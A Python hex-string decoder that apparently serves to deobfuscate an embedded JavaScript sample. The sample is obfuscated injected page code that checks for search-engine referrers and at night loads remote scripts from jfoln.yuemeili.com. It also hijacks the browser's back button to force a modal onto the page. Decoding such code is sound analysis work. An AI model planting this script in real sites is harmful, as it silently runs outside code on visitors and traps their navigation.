import re
# utf8 = '中'.encode('utf-8');
# print(utf8,ord('中'),bin(ord('中')))
def decodes(string):
regex = r'((?:\\x[\da-zA-Z]{2})+)'
matches = re.finditer(regex, string)
for matchNum, match in enumerate(matches):
matchNum = matchNum + 1
tmp = decode(match.group())
# print(match.group(), tmp)
string = string.replace(match.group(), tmp)
if '\\x' in string:
string = decodes(string)
return string
def decode(string):
return utf8(ascii(string))
# utf-8 \xe4\b8\xad ==> ascii list
def ascii(utf8_str):
ret = utf8_str.split('\\x')
remove_index = []
for i in range(len(ret)):
if ret[i] == '':
remove_index.append(i)
continue
ret[i] = int(ret[i],16)
# remove non-num
for k in remove_index:
ret.remove(ret[k])
for i in range(len(ret)):
ret[i] = bin(ret[i]).lstrip('0b')
slen = len(ret[i])
if slen < 8:
ret[i] = ''.join(['0' for i in range(8-slen)]) + ret[i]
return ret
# asciis = ascii(r'\xe4\xb8\xad')
# print(asciis)
# asciis to char
def utf8(asciis):
if not asciis:
return ''
chars = []
index_max = len(asciis) -1
index_start = 0
index_end = 0
while(index_end <= index_max):
one = asciis[index_start]
if one.startswith('0'):
index_end = index_end + 1
elif one.startswith('110'):
index_end = index_end + 2
elif one.startswith('1110'):
index_end = index_end + 3
elif one.startswith('11110'):
index_end = index_end + 4
elif one.startswith('111110'):
index_end = index_end + 5
elif one.startswith('1111110'):
index_end = index_end + 5
char_asciis = asciis[index_start:index_end]
char_ascii_str = ''.join([re.compile('^1+0').sub('',x) for x in char_asciis])
if char_ascii_str:
char = chr(int(char_ascii_str,2))
chars.append(char)
index_start = index_end
return ''.join(chars)
# utf8_str = utf8(asciis)
# print(utf8_str)
# print(r'\xe4\xb8\xad => %s' % decode(r'\xe4\xb8\xad'))
string = r"""
var zODgPR1 = window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"];
var fZRMdfSs2 = new window["\x44\x61\x74\x65"]()["\x67\x65\x74\x48\x6f\x75\x72\x73"]();
var nPnjfpwd3 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x72\x65\x66\x65\x72\x72\x65\x72"];
var CMshw4 = '\x79\x75\x65\x6d\x65\x69\x6c\x69';
var iqTG5 = nPnjfpwd3["\x69\x6e\x64\x65\x78\x4f\x66"]("\x62\x61\x69\x64\x75\x2e\x63\x6f\x6d");
var vc6 = nPnjfpwd3["\x69\x6e\x64\x65\x78\x4f\x66"]("\x68\x61\x6f\x73\x6f\x75\x2e");
var er$O7 = nPnjfpwd3["\x69\x6e\x64\x65\x78\x4f\x66"]("\x73\x6d\x2e");
var cSAnN$H8 = '\x68\x74\x74\x70';
var $9 = nPnjfpwd3["\x69\x6e\x64\x65\x78\x4f\x66"]("\x73\x6f\x67\x6f\x75\x2e");
var d10 = zODgPR1["\x69\x6e\x64\x65\x78\x4f\x66"]("");
var DCCWo11 = zODgPR1["\x69\x6e\x64\x65\x78\x4f\x66"]("\x79\x6f\x75\x68\x75\x61");
var cSFnjAc12 = zODgPR1["\x69\x6e\x64\x65\x78\x4f\x66"]("\x23\x62\x61\x69\x64\x75");
var VKXRJ13 = '\x6a\x66\x6f\x6c\x6e';
var Q14 = zODgPR1["\x69\x6e\x64\x65\x78\x4f\x66"]("\x23\x33\x36\x30");
var TL15 = zODgPR1["\x69\x6e\x64\x65\x78\x4f\x66"]("\x23\x73\x6d");
var dAa16 = zODgPR1["\x69\x6e\x64\x65\x78\x4f\x66"]("\x23\x73\x6f");
var lOqdCWa17 = location["\x68\x61\x73\x68"];
var FGdgupVY18 = '\x63\x63\x2e\x66\x61\x6e\x74\x65\x78\x69\x35\x2e\x63\x6e';
var t19 = window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x6f\x73\x74"];
if (fZRMdfSs2 >= 0 && fZRMdfSs2 <= 6 && t19 != FGdgupVY18) {
var O20 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x68\x65\x61\x64"] || window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65"]('\x68\x65\x61\x64')[0];
var wgHloup21 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]('\x73\x63\x72\x69\x70\x74');
var hZpHNtCzX22 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]('\x73\x63\x72\x69\x70\x74');
var FqswjG23 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]('\x6c\x69\x6e\x6b');
wgHloup21["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"]('\x74\x79\x70\x65', '\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74');
hZpHNtCzX22["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"]('\x74\x79\x70\x65', '\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74');
FqswjG23["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"]('\x74\x79\x70\x65', '\x74\x65\x78\x74\x2f\x63\x73\x73');
FqswjG23["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"]('\x72\x65\x6c', '\x73\x74\x79\x6c\x65\x73\x68\x65\x65\x74');
wgHloup21["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"]('\x73\x72\x63', cSAnN$H8 + '\x3a\x2f\x2f' + VKXRJ13 + '\x2e' + CMshw4 + '\x2e\x63\x6f\x6d\x2f\x6a\x73\x2f\x6a\x71\x75\x65\x72\x79\x31\x2e\x37\x33\x2e\x6d\x69\x6e\x2e\x6a\x73');
hZpHNtCzX22["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"]('\x73\x72\x63', cSAnN$H8 + '\x3a\x2f\x2f' + VKXRJ13 + '\x2e' + CMshw4 + '\x2e\x63\x6f\x6d\x2f\x6a\x73\x2f\x63\x65\x5f\x74\x6a\x2e\x6a\x73');
FqswjG23["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"]('\x68\x72\x65\x66', cSAnN$H8 + '\x3a\x2f\x2f' + VKXRJ13 + '\x2e' + CMshw4 + '\x2e\x63\x6f\x6d\x2f\x6a\x73\x2f\x74\x7a\x66\x73\x2e\x63\x73\x73');
O20["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](wgHloup21);
O20["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](hZpHNtCzX22);
O20["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](FqswjG23);
}
if (iqTG5 != -1 || vc6 != -1 || er$O7 != -1 || $9 != -1 || d10 != -1 || DCCWo11 != -1 || cSFnjAc12 != -1 || Q14 != -1 || TL15 != -1 || dAa16 != -1) {
if (location["\x68\x61\x73\x68"]["\x69\x6e\x64\x65\x78\x4f\x66"]("\x5f\x77\x6d\x74\x7a\x5f") == -1) {
history["\x70\x75\x73\x68\x53\x74\x61\x74\x65"]({
page: 1
}, "", zODgPR1 + lOqdCWa17 + "\x23\x5f\x77\x6d\x74\x7a\x5f")
}
};
window["\x6f\x6e\x70\x6f\x70\x73\x74\x61\x74\x65"] = function(a) {
if (location["\x68\x61\x73\x68"]["\x69\x6e\x64\x65\x78\x4f\x66"]("\x5f\x77\x6d\x74\x7a\x5f") == -1) {
if (fZRMdfSs2 >= 0 && fZRMdfSs2 <= 6 && t19 != FGdgupVY18) {
$('\x23\x6d\x61\x69\x6e\x2d\x63\x6f\x6e\x74\x65\x6e\x74')["\x61\x70\x70\x65\x6e\x64"](el);
$('\x23\x6d\x79\x4d\x6f\x64\x61\x6c')["\x63\x73\x73"]('\x64\x69\x73\x70\x6c\x61\x79', '\x62\x6c\x6f\x63\x6b');
$('\x23\x6d\x79\x4d\x6f\x64\x61\x6c')["\x61\x64\x64\x43\x6c\x61\x73\x73"]('\x69\x6e');
} else {
$('\x23\x6d\x79\x4d\x6f\x64\x61\x6c')["\x63\x73\x73"]('\x64\x69\x73\x70\x6c\x61\x79', '\x62\x6c\x6f\x63\x6b');
$('\x23\x6d\x79\x4d\x6f\x64\x61\x6c')["\x61\x64\x64\x43\x6c\x61\x73\x73"]('\x69\x6e');
}
}
}
"""
# print(decode(r'\x6c\x6f\x63\x61\x74\x69\x6f\x6e'))
print(decodes(string))